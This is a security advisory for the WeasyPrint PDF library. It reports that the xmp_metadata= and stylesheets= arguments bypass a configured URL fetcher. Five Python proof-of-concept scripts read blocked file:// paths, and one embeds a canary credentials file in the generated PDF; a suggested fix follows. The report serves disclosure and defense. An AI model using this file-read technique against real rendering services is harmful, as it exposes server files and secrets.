weasyprint Has Server-Side Request Forgery (SSRF)

• write_pdf(xmp_metadata=[...]) in weasyprint/pdf/__init__.py
• write_pdf(stylesheets=[str]) in weasyprint/document.py

xmp_metadata - pdf/__init__.py calls select_source(url) with no url_fetcher, so the default fetcher runs regardless of what the caller configured:

if options['xmp_metadata']:
    for url in options['xmp_metadata']:
        result = select_source(url)          # no url_fetcher

stylesheets - document.py builds each sheet without passing url_fetcher, and CSS.__init__ then defaults to a fresh URLFetcher():

for css in options['stylesheets'] or []:
    if not hasattr(css, 'matcher'):
        css = CSS(                            # no url_fetcher=html.url_fetcher
            guess=css, media_type=html.media_type,
            font_config=font_config, counter_style=counter_style,
            color_profiles=color_profiles)

Because @import / url() inherit a CSS object's fetcher, the permissive fetcher propagates to the entire import graph - so the bypass is transitive.

Reproduction

Each script defines a Block fetcher that refuses every file://, writes its own fixture to a temp dir, and prints a boolean. True means the restrictive fetcher was bypassed. No external files or network needed.

1 - xmp_metadata= reads a file:// the fetcher blocks

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'secret.xmp')
open(path, 'wb').write(b'CANARY_XMP_LEAK_7f3a9c')
pdf = HTML(string='<p>hi</p>', url_fetcher=Block()).write_pdf(
    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('secret file leaked into PDF:', b'CANARY_XMP_LEAK_7f3a9c' in pdf)
# -> True

(pdf_variant='pdf/a-3b' makes the embedded bytes observable in the output; the read happens regardless of variant.)

2 - stylesheets= applies a blocked file:// sheet (with control)

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'evil.css')
open(path, 'w').write('@page { size: 1234px 5678px }')

doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + path])
p = doc.pages[0]
print('evil.css applied via stylesheets=:', (round(p.width), round(p.height)) == (1234, 5678))
# -> True

# Control: the same sheet via <link rel=stylesheet> is NOT applied (the fetcher blocks it;
# WeasyPrint logs and continues), so the page keeps its default A4 size. This confirms the
# gap is specific to stylesheets= and not a misconfigured fetcher.
ctrl = HTML(string='<link rel="stylesheet" href="file://%s"><p>x</p>' % path,
            url_fetcher=Block()).render()
cp = ctrl.pages[0]
print('control <link> correctly blocked:', (round(cp.width), round(cp.height)) != (1234, 5678))
# -> True

3 - the stylesheets= bypass is transitive

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
inner = os.path.join(d, 'inner.css')
outer = os.path.join(d, 'outer.css')
open(inner, 'w').write('@page { size: 333px 777px }')
open(outer, 'w').write('@import url("file://%s");' % inner)
doc = HTML(string='<p>x</p>', url_fetcher=Block()).render(stylesheets=['file://' + outer])
p = doc.pages[0]
print('nested @import applied transitively:', (round(p.width), round(p.height)) == (333, 777))
# -> True

4 - xmp_metadata= discloses a credentials file in full

import os, json, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

creds = {'db_name': 'CANARY_DB_NAME', 'db_password': 'CANARY_PASSWORD_a3f7e9c2',
         'encryption_key': 'CANARY_ENC_KEY_b8d4f6a1', 'secret_key': 'CANARY_SECRET_KEY_c5e9d2b7'}
d = tempfile.mkdtemp()
path = os.path.join(d, 'site_config.json')
json.dump(creds, open(path, 'w'))
pdf = HTML(string='<p>x</p>', url_fetcher=Block()).write_pdf(
    xmp_metadata=['file://' + path], pdf_variant='pdf/a-3b', uncompressed_pdf=True)
print('all credential fields leaked into PDF:', all(v.encode() in pdf for v in creds.values()))
# -> True

An attacker who controls the xmp_metadata path reads any file the rendering process can access and receives its contents in the generated PDF.

5 - scope of the stylesheets= channel (honest bound)

The sheet is applied, but its content does not leak verbatim - CSS comments are stripped during parsing. So this channel is SSRF / resource application, not verbatim disclosure on its own.

import os, tempfile
from weasyprint import HTML
from weasyprint.urls import URLFetcher

class Block(URLFetcher):
    def fetch(self, url, headers=None):
        if url.lower().startswith('file:'):
            raise ValueError('blocked ' + url)
        return super().fetch(url, headers)

d = tempfile.mkdtemp()
path = os.path.join(d, 'secrets.css')
open(path, 'w').write('/* CANARY_SECRET_e2a8c5d4 */\n@page { size: 999px 888px }')
html = HTML(string='<p>x</p>', url_fetcher=Block())
doc = html.render(stylesheets=['file://' + path])
pdf = html.write_pdf(stylesheets=['file://' + path], uncompressed_pdf=True)
p = doc.pages[0]
print('sheet applied (bypass):', (round(p.width), round(p.height)) == (999, 888))   # -> True
print('comment leaked verbatim:', b'CANARY_SECRET_e2a8c5d4' in pdf)                  # -> False

Suggested fix

Route both call sites through the document's url_fetcher, matching the five sites that already do this.

• pdf/__init__.py - select_source(url, url_fetcher=self.url_fetcher). (Alternatively, restrict xmp_metadata to byte strings so no URL fetching occurs.)
• document.py - CSS(guess=css, ..., url_fetcher=html.url_fetcher). This one change also closes the transitive case, since imported sheets inherit the parent's fetcher.